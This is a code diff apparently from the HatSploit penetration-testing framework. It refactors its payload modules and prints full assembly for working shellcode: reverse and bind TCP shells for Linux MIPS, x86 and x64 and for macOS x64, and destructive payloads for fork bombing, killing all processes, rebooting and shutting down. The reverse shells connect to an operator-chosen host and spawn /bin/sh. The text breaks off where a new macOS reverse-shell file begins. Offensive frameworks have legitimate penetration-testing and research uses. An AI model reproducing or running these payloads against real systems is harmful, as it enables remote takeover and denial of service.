-                addiu $v0, $zero, 0xfab
-                syscall 0x40404
             """
-        )
+        ) + self.implant()
diff --git a/hatsploit/payloads/linux/mipsbe/shell_reverse_tcp.py b/hatsploit/payloads/single/linux/mipsbe/shell_reverse_tcp.py
similarity index 80%
rename from hatsploit/payloads/linux/mipsbe/shell_reverse_tcp.py
rename to hatsploit/payloads/single/linux/mipsbe/shell_reverse_tcp.py
index 0d6031714..b0189d235 100755
--- a/hatsploit/payloads/linux/mipsbe/shell_reverse_tcp.py
+++ b/hatsploit/payloads/single/linux/mipsbe/shell_reverse_tcp.py
@@ -3,58 +3,30 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
 
 
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
+class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux mipsbe Shell Reverse TCP",
             'Payload': "linux/mipsbe/shell_reverse_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell reverse TCP payload for Linux mipsbe.",
+            'Description': (
+                "This payload creates an interactive reverse TCP shell for Linux "
+                "with MIPS big-endian architecture."
+            ),
             'Arch': ARCH_MIPSBE,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
-    def run(self):
+    def implant(self):
         return self.assemble(
-            self.details['Arch'],
-            f"""
+            """
             start:
-                addiu $t7, $zero, -6
-                not $t7, $t7
-                addi $a0, $t7, -3
-                addi $a1, $t7, -3
-                slti $a2, $zero, -1
-                addiu $v0, $zero, 0x1057
-                syscall 0x40404
-
-                sw $v0, -1($sp)
-                lw $a0, -1($sp)
-                ori $t7, $zero, 0xfffd
-                not $t7, $t7
-                sw $t7, -0x20($sp)
-                lui $t6, 0x{self.rport.big.hex()}
-                ori $t6, $t6, 0x{self.rport.big.hex()}
-                sw $t6, -0x1c($sp)
-                lui $t6, 0x{self.rhost.big[:2].hex()}
-                ori $t6, $t6, 0x{self.rhost.big[2:].hex()}
-                sw $t6, -0x1a($sp)
-                addiu $a1, $sp, -0x1e
-                addiu $t4, $zero, -0x11
-                not $a2, $t4
-                addiu $v0, $zero, 0x104a
-                syscall 0x40404
-
                 addiu $s1, $zero, -3
                 not $s1, $s1
                 lw $a0, -1($sp)
@@ -84,3 +56,34 @@ def run(self):
                 syscall 0x40404
             """
         )
+
+    def run(self):
+        return self.assemble(
+            f"""
+            start:
+                addiu $t7, $zero, -6
+                not $t7, $t7
+                addi $a0, $t7, -3
+                addi $a1, $t7, -3
+                slti $a2, $zero, -1
+                addiu $v0, $zero, 0x1057
+                syscall 0x40404
+
+                sw $v0, -1($sp)
+                lw $a0, -1($sp)
+                ori $t7, $zero, 0xfffd
+                not $t7, $t7
+                sw $t7, -0x20($sp)
+                lui $t6, 0x{self.rport.big.hex()}
+                ori $t6, $t6, 0x{self.rport.big.hex()}
+                sw $t6, -0x1c($sp)
+                lui $t6, 0x{self.rhost.big[:2].hex()}
+                ori $t6, $t6, 0x{self.rhost.big[2:].hex()}
+                sw $t6, -0x1a($sp)
+                addiu $a1, $sp, -0x1e
+                addiu $t4, $zero, -0x11
+                not $a2, $t4
+                addiu $v0, $zero, 0x104a
+                syscall 0x40404
+            """
+        ) + self.implant()
diff --git a/hatsploit/payloads/linux/mipsle/reboot.py b/hatsploit/payloads/single/linux/mipsle/reboot.py
similarity index 64%
rename from hatsploit/payloads/linux/mipsle/reboot.py
rename to hatsploit/payloads/single/linux/mipsle/reboot.py
index 58b7df495..1deb31e13 100755
--- a/hatsploit/payloads/linux/mipsle/reboot.py
+++ b/hatsploit/payloads/single/linux/mipsle/reboot.py
@@ -3,30 +3,28 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
+from hatsploit.lib.core.payload.basic import *
 
 
-class HatSploitPayload(Payload, Assembler):
+class HatSploitPayload(Payload):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux mipsle Reboot",
             'Payload': "linux/mipsle/reboot",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Reboot payload for Linux mipsle.",
+            'Description': (
+                "This payload is intended to force reboot Linux "
+                "with MIPS little-endian architecture."
+            ),
             'Arch': ARCH_MIPSLE,
             'Platform': OS_LINUX,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             """
             start:
                 lui $a2, 0x4321
diff --git a/hatsploit/payloads/linux/mipsle/shell_bind_tcp.py b/hatsploit/payloads/single/linux/mipsle/shell_bind_tcp.py
similarity index 83%
rename from hatsploit/payloads/linux/mipsle/shell_bind_tcp.py
rename to hatsploit/payloads/single/linux/mipsle/shell_bind_tcp.py
index d0c6fb85c..416d2dd70 100755
--- a/hatsploit/payloads/linux/mipsle/shell_bind_tcp.py
+++ b/hatsploit/payloads/single/linux/mipsle/shell_bind_tcp.py
@@ -3,31 +3,62 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
 
 
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
+class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux mipsle Shell Bind TCP",
             'Payload': "linux/mipsle/shell_bind_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell bind TCP payload for Linux mipsle.",
+            'Description': (
+                "This payload creates an interactive bind TCP shell for Linux "
+                "with MIPS little-endian architecture."
+            ),
             'Arch': ARCH_MIPSLE,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "bind_tcp",
+            'Type': BIND_TCP,
         })
 
+    def implant(self):
+        return self.assemble(
+            """
+            start:
+                addiu $s1, $zero, -3
+                not $s1, $s1
+                lw $a0, -1($sp)
+
+            dup:
+                move $a1, $s1
+                addiu $v0, $zero, 0xfdf
+                syscall 0x40404
+
+                addiu $s0, $zero, -1
+                addi $s1, $s1, -1
+                bne $s1, $s0, dup
+
+                slti $a2, $zero, -1
+                lui $t7, 0x6962
+                ori $t7, $t7, 0x2f2f
+                sw $t7, -0x14($sp)
+                lui $t6, 0x6873
+                ori $t6, $t6, 0x2f6e
+                sw $t6, -0x10($sp)
+                sw $zero, -0xc($sp)
+                addiu $a0, $sp, -0x14
+                sw $a0, -8($sp)
+                sw $zero, -4($sp)
+                addiu $a1, $sp, -8
+                addiu $v0, $zero, 0xfab
+                syscall 0x40404
+            """
+        )
+
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             f"""
             start:
                 addiu $sp, $sp, -0x20
@@ -69,32 +100,5 @@ def run(self):
                 syscall 0x40404
 
                 sw $v0, -1($sp)
-                addiu $s1, $zero, -3
-                not $s1, $s1
-                lw $a0, -1($sp)
-
-            dup:
-                move $a1, $s1
-                addiu $v0, $zero, 0xfdf
-                syscall 0x40404
-
-                addiu $s0, $zero, -1
-                addi $s1, $s1, -1
-                bne $s1, $s0, dup
-
-                slti $a2, $zero, -1
-                lui $t7, 0x6962
-                ori $t7, $t7, 0x2f2f
-                sw $t7, -0x14($sp)
-                lui $t6, 0x6873
-                ori $t6, $t6, 0x2f6e
-                sw $t6, -0x10($sp)
-                sw $zero, -0xc($sp)
-                addiu $a0, $sp, -0x14
-                sw $a0, -8($sp)
-                sw $zero, -4($sp)
-                addiu $a1, $sp, -8
-                addiu $v0, $zero, 0xfab
-                syscall 0x40404
             """
-        )
+        ) + self.implant()
diff --git a/hatsploit/payloads/linux/mipsle/shell_reverse_tcp.py b/hatsploit/payloads/single/linux/mipsle/shell_reverse_tcp.py
similarity index 80%
rename from hatsploit/payloads/linux/mipsle/shell_reverse_tcp.py
rename to hatsploit/payloads/single/linux/mipsle/shell_reverse_tcp.py
index 8957678b4..08346c2c7 100755
--- a/hatsploit/payloads/linux/mipsle/shell_reverse_tcp.py
+++ b/hatsploit/payloads/single/linux/mipsle/shell_reverse_tcp.py
@@ -3,58 +3,30 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
 
 
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
+class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux mipsle Shell Reverse TCP",
             'Payload': "linux/mipsle/shell_reverse_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell reverse TCP payload for Linux mipsle.",
+            'Description': (
+                "This payload creates an interactive reverse TCP shell for Linux "
+                "with MIPS little-endian architecture."
+            ),
             'Arch': ARCH_MIPSLE,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
-    def run(self):
+    def implant(self):
         return self.assemble(
-            self.details['Arch'],
-            f"""
+            """
             start:
-                addiu $t7, $zero, -6
-                not $t7, $t7
-                addi $a0, $t7, -3
-                addi $a1, $t7, -3
-                slti $a2, $zero, -1
-                addiu $v0, $zero, 0x1057
-                syscall 0x40404
-
-                sw $v0, -1($sp)
-                lw $a0, -1($sp)
-                ori $t7, $zero, 0xfffd
-                not $t7, $t7
-                sw $t7, -0x20($sp)
-                lui $t6, 0x{self.rport.little.hex()}
-                ori $t6, $t6, 0x{self.rport.little.hex()}
-                sw $t6, -0x1c($sp)
-                lui $t6, 0x{self.rhost.little[2:].hex()}
-                ori $t6, $t6, 0x{self.rhost.little[:2].hex()}
-                sw $t6, -0x1a($sp)
-                addiu $a1, $sp, -0x1e
-                addiu $t4, $zero, -0x11
-                not $a2, $t4
-                addiu $v0, $zero, 0x104a
-                syscall 0x40404
-
                 addiu $s1, $zero, -3
                 not $s1, $s1
                 lw $a0, -1($sp)
@@ -84,3 +56,34 @@ def run(self):
                 syscall 0x40404
             """
         )
+
+    def run(self):
+        return self.assemble(
+            f"""
+            start:
+                addiu $t7, $zero, -6
+                not $t7, $t7
+                addi $a0, $t7, -3
+                addi $a1, $t7, -3
+                slti $a2, $zero, -1
+                addiu $v0, $zero, 0x1057
+                syscall 0x40404
+
+                sw $v0, -1($sp)
+                lw $a0, -1($sp)
+                ori $t7, $zero, 0xfffd
+                not $t7, $t7
+                sw $t7, -0x20($sp)
+                lui $t6, 0x{self.rport.little.hex()}
+                ori $t6, $t6, 0x{self.rport.little.hex()}
+                sw $t6, -0x1c($sp)
+                lui $t6, 0x{self.rhost.little[2:].hex()}
+                ori $t6, $t6, 0x{self.rhost.little[:2].hex()}
+                sw $t6, -0x1a($sp)
+                addiu $a1, $sp, -0x1e
+                addiu $t4, $zero, -0x11
+                not $a2, $t4
+                addiu $v0, $zero, 0x104a
+                syscall 0x40404
+            """
+        ) + self.implant()
diff --git a/hatsploit/payloads/linux/x64/fork_bomb.py b/hatsploit/payloads/single/linux/x64/fork_bomb.py
similarity index 57%
rename from hatsploit/payloads/linux/x64/fork_bomb.py
rename to hatsploit/payloads/single/linux/x64/fork_bomb.py
index b2e02f46a..bc7f45a37 100755
--- a/hatsploit/payloads/linux/x64/fork_bomb.py
+++ b/hatsploit/payloads/single/linux/x64/fork_bomb.py
@@ -3,30 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
 
 
-class HatSploitPayload(Payload, Assembler):
+class HatSploitPayload(Payload, Linux):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux x64 Fork Bomb",
             'Payload': "linux/x64/fork_bomb",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Fork bomb payload for Linux x64.",
+            'Description': (
+                "This payload is intended to cause infinite fork() on Linux "
+                "with x64 architecture."
+            ),
             'Arch': ARCH_X64,
             'Platform': OS_LINUX,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             """
             start:
                 push 0x39
diff --git a/hatsploit/payloads/linux/x64/kill_all.py b/hatsploit/payloads/single/linux/x64/kill_all.py
similarity index 60%
rename from hatsploit/payloads/linux/x64/kill_all.py
rename to hatsploit/payloads/single/linux/x64/kill_all.py
index 9fc829270..3aca5f1f8 100755
--- a/hatsploit/payloads/linux/x64/kill_all.py
+++ b/hatsploit/payloads/single/linux/x64/kill_all.py
@@ -3,30 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
 
 
-class HatSploitPayload(Payload, Assembler):
+class HatSploitPayload(Payload, Linux):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux x64 Kill All Processes",
             'Payload': "linux/x64/kill_all",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Kill all processes payload for Linux x64.",
+            'Description': (
+                "This payload is intended to force kill all processes Linux "
+                "with x64 architecture."
+            ),
             'Arch': ARCH_X64,
             'Platform': OS_LINUX,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             """
             start:
                 push 0x3e
diff --git a/hatsploit/payloads/linux/x64/reboot.py b/hatsploit/payloads/single/linux/x64/reboot.py
similarity index 61%
rename from hatsploit/payloads/linux/x64/reboot.py
rename to hatsploit/payloads/single/linux/x64/reboot.py
index 46f4d0e70..180488527 100755
--- a/hatsploit/payloads/linux/x64/reboot.py
+++ b/hatsploit/payloads/single/linux/x64/reboot.py
@@ -3,30 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
 
 
-class HatSploitPayload(Payload, Assembler):
+class HatSploitPayload(Payload, Linux):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux x64 Reboot",
             'Payload': "linux/x64/reboot",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Reboot payload for Linux x64.",
+            'Description': (
+                "This payload is intended to force reboot Linux "
+                "with x64 architecture."
+            ),
             'Arch': ARCH_X64,
             'Platform': OS_LINUX,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             """
             start:
                 mov al, 0xa2
diff --git a/hatsploit/payloads/linux/x64/shell_bind_tcp.py b/hatsploit/payloads/single/linux/x64/shell_bind_tcp.py
similarity index 79%
rename from hatsploit/payloads/linux/x64/shell_bind_tcp.py
rename to hatsploit/payloads/single/linux/x64/shell_bind_tcp.py
index e542cd0fd..d7cdba3f1 100755
--- a/hatsploit/payloads/linux/x64/shell_bind_tcp.py
+++ b/hatsploit/payloads/single/linux/x64/shell_bind_tcp.py
@@ -3,31 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
 
-from pex.assembler import Assembler
 
-
-class HatSploitPayload(Payload, Handler, Assembler):
+class HatSploitPayload(Payload, Handler, Linux):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux x64 Shell Bind TCP",
             'Payload': "linux/x64/shell_bind_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell bind TCP payload for Linux x64.",
+            'Description': (
+                "This payload creates an interactive bind TCP shell for Linux "
+                "with x64 architecture."
+            ),
             'Arch': ARCH_X64,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "bind_tcp",
+            'Type': BIND_TCP,
         })
 
     def implant(self):
         return self.assemble(
-            self.details['Arch'],
             """
             start:
                 push 0x3
@@ -55,7 +53,6 @@ def implant(self):
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             f"""
             start:
                 push 0x29
diff --git a/hatsploit/payloads/linux/x64/shell_reverse_tcp.py b/hatsploit/payloads/single/linux/x64/shell_reverse_tcp.py
similarity index 77%
rename from hatsploit/payloads/linux/x64/shell_reverse_tcp.py
rename to hatsploit/payloads/single/linux/x64/shell_reverse_tcp.py
index 6cd35b57f..c2dacb139 100755
--- a/hatsploit/payloads/linux/x64/shell_reverse_tcp.py
+++ b/hatsploit/payloads/single/linux/x64/shell_reverse_tcp.py
@@ -3,31 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
 
-from pex.assembler import Assembler
 
-
-class HatSploitPayload(Payload, Handler, Assembler):
+class HatSploitPayload(Payload, Handler, Linux):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux x64 Shell Reverse TCP",
             'Payload': "linux/x64/shell_reverse_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell reverse TCP payload for Linux x64.",
+            'Description': (
+                "This payload creates an interactive reverse TCP shell for Linux "
+                "with x64 architecture."
+            ),
             'Arch': ARCH_X64,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def implant(self):
         return self.assemble(
-            self.details['Arch'],
             """
             start:
                 push 0x3
@@ -55,7 +53,6 @@ def implant(self):
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             f"""
             start:
                 push 0x29
diff --git a/hatsploit/payloads/linux/x64/shutdown.py b/hatsploit/payloads/single/linux/x64/shutdown.py
similarity index 61%
rename from hatsploit/payloads/linux/x64/shutdown.py
rename to hatsploit/payloads/single/linux/x64/shutdown.py
index fa1d0d3ef..7771f1575 100755
--- a/hatsploit/payloads/linux/x64/shutdown.py
+++ b/hatsploit/payloads/single/linux/x64/shutdown.py
@@ -3,30 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
 
 
-class HatSploitPayload(Payload, Assembler):
+class HatSploitPayload(Payload, Linux):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux x64 Shutdown",
             'Payload': "linux/x64/shutdown",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shutdown payload for Linux x64.",
+            'Description': (
+                "This payload is intended to force halt Linux "
+                "with x64 architecture (with sync)."
+            ),
             'Arch': ARCH_X64,
             'Platform': OS_LINUX,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             """
             start:
                 mov al, 0xa2
diff --git a/hatsploit/payloads/linux/x86/shell_bind_tcp.py b/hatsploit/payloads/single/linux/x86/shell_bind_tcp.py
similarity index 81%
rename from hatsploit/payloads/linux/x86/shell_bind_tcp.py
rename to hatsploit/payloads/single/linux/x86/shell_bind_tcp.py
index 721c94cb7..a928cd8d5 100755
--- a/hatsploit/payloads/linux/x86/shell_bind_tcp.py
+++ b/hatsploit/payloads/single/linux/x86/shell_bind_tcp.py
@@ -3,31 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
 
 
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
+class HatSploitPayload(Payload, Handler, Linux):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux x86 Shell Bind TCP",
             'Payload': "linux/x86/shell_bind_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell bind TCP payload for Linux x86.",
+            'Description': (
+                "This payload creates an interactive bind TCP shell for Linux "
+                "with x86 architecture."
+            ),
             'Arch': ARCH_X86,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "bind_tcp",
+            'Type': BIND_TCP,
         })
 
     def implant(self):
         return self.assemble(
-            self.details['Arch'],
             """
                 push edi
                 pop ebx
@@ -54,7 +52,6 @@ def implant(self):
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             f"""
             start:
                 xor ebx, ebx
diff --git a/hatsploit/payloads/linux/x86/shell_reverse_tcp.py b/hatsploit/payloads/single/linux/x86/shell_reverse_tcp.py
similarity index 80%
rename from hatsploit/payloads/linux/x86/shell_reverse_tcp.py
rename to hatsploit/payloads/single/linux/x86/shell_reverse_tcp.py
index 929d5114d..3c0cf711e 100755
--- a/hatsploit/payloads/linux/x86/shell_reverse_tcp.py
+++ b/hatsploit/payloads/single/linux/x86/shell_reverse_tcp.py
@@ -3,31 +3,29 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
 
 
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
+class HatSploitPayload(Payload, Handler, Linux):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux x86 Shell Reverse TCP",
             'Payload': "linux/x86/shell_reverse_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell reverse TCP payload for Linux x86.",
+            'Description': (
+                "This payload creates an interactive reverse TCP shell for Linux "
+                "with x86 architecture."
+            ),
             'Arch': ARCH_X64,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def implant(self):
         return self.assemble(
-            self.details['Arch'],
             """
                 push edi
                 pop ebx
@@ -54,7 +52,6 @@ def implant(self):
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             f"""
             start:
                 xor ebx, ebx
diff --git a/hatsploit/payloads/macos/generic/applescript_reverse_tcp.py b/hatsploit/payloads/single/macos/generic/applescript_reverse_tcp.py
similarity index 81%
rename from hatsploit/payloads/macos/generic/applescript_reverse_tcp.py
rename to hatsploit/payloads/single/macos/generic/applescript_reverse_tcp.py
index e3ef8136d..aeeaf0cfa 100755
--- a/hatsploit/payloads/macos/generic/applescript_reverse_tcp.py
+++ b/hatsploit/payloads/single/macos/generic/applescript_reverse_tcp.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "AppleScript Reverse TCP",
             'Payload': "macos/generic/applescript_reverse_tcp",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "AppleScript reverse TCP payload.",
             'Arch': ARCH_APPLESCRIPT,
             'Platform': OS_MACOS,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/macos/x64/say.py b/hatsploit/payloads/single/macos/x64/say.py
similarity index 76%
rename from hatsploit/payloads/macos/x64/say.py
rename to hatsploit/payloads/single/macos/x64/say.py
index dff876dd0..d4e64a533 100755
--- a/hatsploit/payloads/macos/x64/say.py
+++ b/hatsploit/payloads/single/macos/x64/say.py
@@ -5,15 +5,13 @@
 
 import struct
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.macos import MacOS
 
 
-class HatSploitPayload(Payload, Assembler):
+class HatSploitPayload(Payload, MacOS):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "macOS x64 Say",
             'Payload': "macos/x64/say",
             'Authors': [
@@ -22,11 +20,10 @@ def __init__(self):
             'Description': "Say payload for macOS x64.",
             'Arch': ARCH_X64,
             'Platform': OS_MACOS,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
-        self.message = Option("Hello, HatSploit!", "Message to say.", True)
+        self.message = Option('MSG', "Hello, HatSploit!", "Message to say.", True)
 
     def run(self):
         data = (
@@ -39,14 +36,12 @@ def run(self):
 
         return (
             self.assemble(
-                self.details['Arch'],
                 """
                 start:
                     xor rax, rax
                     mov eax, 0x200003b
                 """,
             ) + data + self.assemble(
-                self.details['Arch'],
                 """
                 end:
                     mov rdi, [rsp]
diff --git a/hatsploit/payloads/macos/x64/shell_bind_tcp.py b/hatsploit/payloads/single/macos/x64/shell_bind_tcp.py
similarity index 52%
rename from hatsploit/payloads/macos/x64/shell_bind_tcp.py
rename to hatsploit/payloads/single/macos/x64/shell_bind_tcp.py
index 4cbac0b18..77c7568bf 100755
--- a/hatsploit/payloads/macos/x64/shell_bind_tcp.py
+++ b/hatsploit/payloads/single/macos/x64/shell_bind_tcp.py
@@ -3,16 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.macos import MacOS
 
 
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
+class HatSploitPayload(Payload, Handler, MacOS):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "macOS x64 Shell Bind TCP",
             'Payload': "macos/x64/shell_bind_tcp",
             'Authors': [
@@ -21,71 +18,66 @@ def __init__(self):
             'Description': "Shell bind TCP payload for macOS x64.",
             'Arch': ARCH_X64,
             'Platform': OS_MACOS,
-            'Rank': "high",
-            'Type': "bind_tcp",
+            'Type': BIND_TCP,
         })
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             f"""
             start:
                 xor rdi, rdi
+                mul rdi
                 mov dil, 0x2
                 xor rsi, rsi
                 mov sil, 0x1
-                xor rdx, rdx
-
-                xor rax, rax
-                mov al, 2
+                mov al, 0x2
                 ror rax, 0x28
+                mov r8, rax
                 mov al, 0x61
-                mov r12, rax
                 syscall
 
-                mov r9, rax
-                mov rdi, rax
-                xor rsi, rsi
-                push rsi
-                mov esi, 0x{self.rport.little.hex()}0101
-                sub esi, 1
+                mov rsi, 0x00000000{self.rport.little.hex()}020f
                 push rsi
-                mov rsi, rsp
-                mov dl, 0x10
-                add r12b, 0x7
-                mov rax, r12
+                push rsp
+                pop rsi
+                mov rdi, rax
+                xor dl, 0x10
+                mov rax, r8
+                mov al, 0x68
                 syscall
 
                 xor rsi, rsi
-                inc rsi
-                add r12b, 0x2
-                mov rax, r12
+                mov sil, 0x2
+                mov rax, r8
+                mov al, 0x6a
                 syscall
 
                 xor rsi, rsi
-                sub r12b, 0x4c
-                mov rax, r12
+                xor rdx, rdx
+                mov rax, r8
+                mov al, 0x1e
                 syscall
 
                 mov rdi, rax
-                xor rsi, rsi
-                add r12b, 0x3c
-                mov rax, r12
-                syscall
+                mov sil, 0x3
 
-                inc rsi
-                mov rax, r12
+            dup:
+                mov rax, r8
+                mov al, 0x5a
+                sub sil, 1
                 syscall
 
-                xor rsi, rsi
+                test rsi, rsi
+                jne dup
+
                 push rsi
                 mov rdi, 0x68732f6e69622f2f
                 push rdi
-                mov rdi, rsp
+                push rsp
+                pop rdi
                 xor rdx, rdx
-
-                sub r12b, 0x1f
-                mov rax, r12
+                mov rax, r8
+                mov al, 0x3b
                 syscall
             """
         )
diff --git a/hatsploit/payloads/single/macos/x64/shell_reverse_tcp.py b/hatsploit/payloads/single/macos/x64/shell_reverse_tcp.py
new file mode 100755
index 000000000..59837fb3e
--- /dev/null
+++ b/hatsploit/payloads/single/macos/x64/shell_reverse_tcp.py
@@ -0,0 +1,71 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.macos import MacOS
+
+
+class HatSploitPayload(Payload, Handler, MacOS):
+    def __init__(self):
+        super().__init__({
